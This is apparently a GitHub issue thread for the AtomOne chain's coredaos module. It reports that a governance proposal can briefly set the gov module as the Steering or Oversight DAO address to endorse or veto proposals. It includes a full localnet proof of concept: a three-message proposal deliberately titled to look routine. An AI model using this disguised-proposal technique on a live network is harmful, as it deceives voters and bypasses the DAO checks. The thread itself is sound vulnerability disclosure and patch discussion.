Gov module can impersonate any DAO

[giuliostramondo]

A governance proposal can set the gov module address as the Oversight or Steering DAO address via MsgUpdateParams, exercise that DAO's powers (MsgVetoProposal, MsgEndorse, MsgExtend, etc.), then restore the original address — all atomically in one proposal.

There's no restriction on setting a module account as a DAO address, we should prevent module accounts from being set as DAO addresses.

[giunatale]

do you have a poc of this?
I don't think you are right.

[giuliostramondo]

Yup.

Localnet Reproduction Steps

Prerequisites

cd /path/to/atomone
make localnet-start

Wait for blocks to start producing. Open a second terminal for the commands below.

Set up shortcuts:

export ATOMONED="./build/atomoned --home ~/.atomone-localnet --keyring-backend test"
export CHAIN="--chain-id localnet --gas-prices 0.02uphoton --gas auto --gas-adjustment 1.5 -y"

---

Setup: Configure the DAOs

The localnet starts with empty DAO addresses. We need to set them first.

1. Create DAO keys

$ATOMONED keys add steering-dao
$ATOMONED keys add oversight-dao

STEERING_DAO=$($ATOMONED keys show steering-dao -a)
OVERSIGHT_DAO=$($ATOMONED keys show oversight-dao -a)

echo "Steering DAO: $STEERING_DAO"
echo "Oversight DAO: $OVERSIGHT_DAO"

2. Get the gov module address

GOV_ADDR=$($ATOMONED query auth module-account gov -o json | jq -r '.account.value.address')
echo "Gov module address: $GOV_ADDR"

3. Submit a proposal to set both DAO addresses

cat > /tmp/set-daos.json << EOF
{
  "messages": [
    {
      "@type": "/atomone.coredaos.v1.MsgUpdateParams",
      "authority": "$GOV_ADDR",
      "params": {
        "steering_dao_address": "$STEERING_DAO",
        "oversight_dao_address": "$OVERSIGHT_DAO",
        "voting_period_extensions_limit": 3,
        "voting_period_extension_duration": "604800s"
      }
    }
  ],
  "deposit": "512000000uatone",
  "metadata": "",
  "title": "Set DAO addresses",
  "summary": "Configure Steering and Oversight DAO addresses"
}
EOF

$ATOMONED tx gov submit-proposal /tmp/set-daos.json --from val $CHAIN
sleep 5
$ATOMONED tx gov vote 1 yes --from val $CHAIN

4. Wait for proposal 1 to pass (~5 min)

$ATOMONED query gov proposal 1 -o json | jq .proposal.status
# wait until PROPOSAL_STATUS_PASSED

5. Verify

./build/atomoned --home ~/.atomone-localnet query coredaos params -o json | jq

Both steering_dao_address and oversight_dao_address should be set.

---

POC #312 — Gov Module Impersonates the Steering DAO (Endorsement)

Attack: A governance proposal atomically:

1. Sets SteeringDaoAddress to the gov module address
2. Endorses a target proposal (succeeds because the gov module IS the signer)
3. Restores the original Steering DAO address

Step 1: Submit the attack proposal first

We submit the attack before the target, referencing the target's future proposal ID. This ensures the attack's voting period ends first, while the target is still in voting period.

# The attack proposal will be #2, the target will be #3
ATTACK_ID=2
TARGET_ID=3

cat > /tmp/poc-312-attack.json << EOF
{
  "messages": [
    {
      "@type": "/atomone.coredaos.v1.MsgUpdateParams",
      "authority": "$GOV_ADDR",
      "params": {
        "steering_dao_address": "$GOV_ADDR",
        "oversight_dao_address": "$OVERSIGHT_DAO",
        "voting_period_extensions_limit": 3,
        "voting_period_extension_duration": "604800s"
      }
    },
    {
      "@type": "/atomone.coredaos.v1.MsgEndorseProposal",
      "endorser": "$GOV_ADDR",
      "proposal_id": "$TARGET_ID"
    },
    {
      "@type": "/atomone.coredaos.v1.MsgUpdateParams",
      "authority": "$GOV_ADDR",
      "params": {
        "steering_dao_address": "$STEERING_DAO",
        "oversight_dao_address": "$OVERSIGHT_DAO",
        "voting_period_extensions_limit": 3,
        "voting_period_extension_duration": "604800s"
      }
    }
  ],
  "deposit": "512000000uatone",
  "metadata": "",
  "title": "Routine Parameter Cleanup",
  "summary": "Innocuous-looking governance proposal"
}
EOF

$ATOMONED tx gov submit-proposal /tmp/poc-312-attack.json --from val $CHAIN
sleep 5
$ATOMONED tx gov vote $ATTACK_ID yes --from val $CHAIN

Step 2: Submit the target proposal a few seconds later

sleep 5

cat > /tmp/target-proposal.json << EOF
{
  "deposit": "512000000uatone",
  "metadata": "metadata",
  "title": "Target Proposal",
  "summary": "This will be endorsed by the gov module impersonating the Steering DAO"
}
EOF

$ATOMONED tx gov submit-proposal /tmp/target-proposal.json --from val $CHAIN
# Do NOT vote on it

Step 3: Wait for the attack proposal to pass (~5 min)

$ATOMONED query gov proposal 2 -o json | jq .proposal.status

# Wait until: "PROPOSAL_STATUS_PASSED"

Step 4: Verify the attack

# Check: target proposal should now be endorsed
$ATOMONED query gov proposal $TARGET_ID -o json | jq '.proposal.endorsed'
# Expected: true

If proposal 3 shows "endorsed": true → #312 confirmed.

The governance majority endorsed a proposal by temporarily impersonating the Steering DAO. The address swap and restoration happened atomically.

The same technique works for veto (Oversight DAO), annotation, and voting period extension. The root cause is that UpdateParams accepts module account addresses as DAO addresses.

[giunatale]

thanks Claude

[giunatale]

interchain accounts are not module accounts right? we need to make sure of that. Other than that, I think given your proof the restriction makes sense. Perhaps might be even better to just limit it to the gov module account since it's the only one that can execute proposals

[giuliostramondo]

thanks Claude

Claude generated the first md, but its POC had issues that I had to fix.

interchain accounts are not module accounts right? we need to make sure of that. Other than that, I think given your proof the restriction makes sense. Perhaps might be even better to just limit it to the gov module account since it's the only one that can execute proposals

Yes, limiting the gov module account should fix this.

[giunatale]

thanks Claude

Claude generated the first md, but its POC had issues that I had to fix.

It's all right I was just joking. Anyway I'll take take care of this

[julienrbrt]

The authority of coredao is Gov, making effectively the governance module sudo of the coredao module.
This is thus a feature and not a bug, that's how authorities work.

	appKeepers.CoreDaosKeeper = coredaoskeeper.NewKeeper(
		appCodec,
		runtime.NewKVStoreService(appKeepers.keys[coredaostypes.StoreKey]),
		authtypes.NewModuleAddress(govtypes.ModuleName).String(),
		appKeepers.GovKeeperWrapper,
		appKeepers.StakingKeeper,
	)

[giunatale]

Preferably we would still want to prevent something like the example provided - although far fetched since it still requires the proposal to be voted. Preventing oversight and steering dao addresses to be set as the gov module account seems reasonable anyway

[julienrbrt]

Preferably we would still want to prevent something like the example provided - although far fetched since it still requires the proposal to be voted. Preventing oversight and steering dao addresses to be set as the gov module account seems reasonable anyway

ok makes sense. but yeah if you don't trust the authority then your chain has a bigger issue.